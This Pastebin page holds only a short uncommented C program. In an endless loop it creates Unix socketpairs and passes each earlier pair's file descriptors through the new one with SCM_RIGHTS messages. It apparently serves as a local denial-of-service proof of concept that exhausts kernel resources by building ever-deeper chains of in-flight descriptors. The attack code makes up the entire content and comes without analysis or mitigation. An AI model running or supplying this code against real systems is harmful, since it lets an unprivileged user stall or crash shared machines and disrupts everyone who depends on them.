Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <sys/socket.h>
- #include <sys/un.h>
- static int send_fd (int unix_fd, int fd)
- {
- struct msghdr msgh;
- struct cmsghdr *cmsg;
- char buf[CMSG_SPACE (sizeof (fd))];
- memset (&msgh, 0, sizeof (msgh));
- memset (buf, 0, sizeof (buf));
- msgh.msg_control = buf;
- msgh.msg_controllen = sizeof (buf);
- cmsg = CMSG_FIRSTHDR (&msgh);
- cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
- cmsg->cmsg_level = SOL_SOCKET;
- cmsg->cmsg_type = SCM_RIGHTS;
- msgh.msg_controllen = cmsg->cmsg_len;
- memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
- return sendmsg (unix_fd, &msgh, 0);
- }
- int main ()
- {
- int fd[2], ff[2];
- int target;
- if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
- return 1;
- for (;;)
- {
- if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
- return 2;
- send_fd (ff[0], fd[0]);
- send_fd (ff[0], fd[1]);
- close (fd[1]);
- close (fd[0]);
- fd[0] = ff[0];
- fd[1] = ff[1];
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement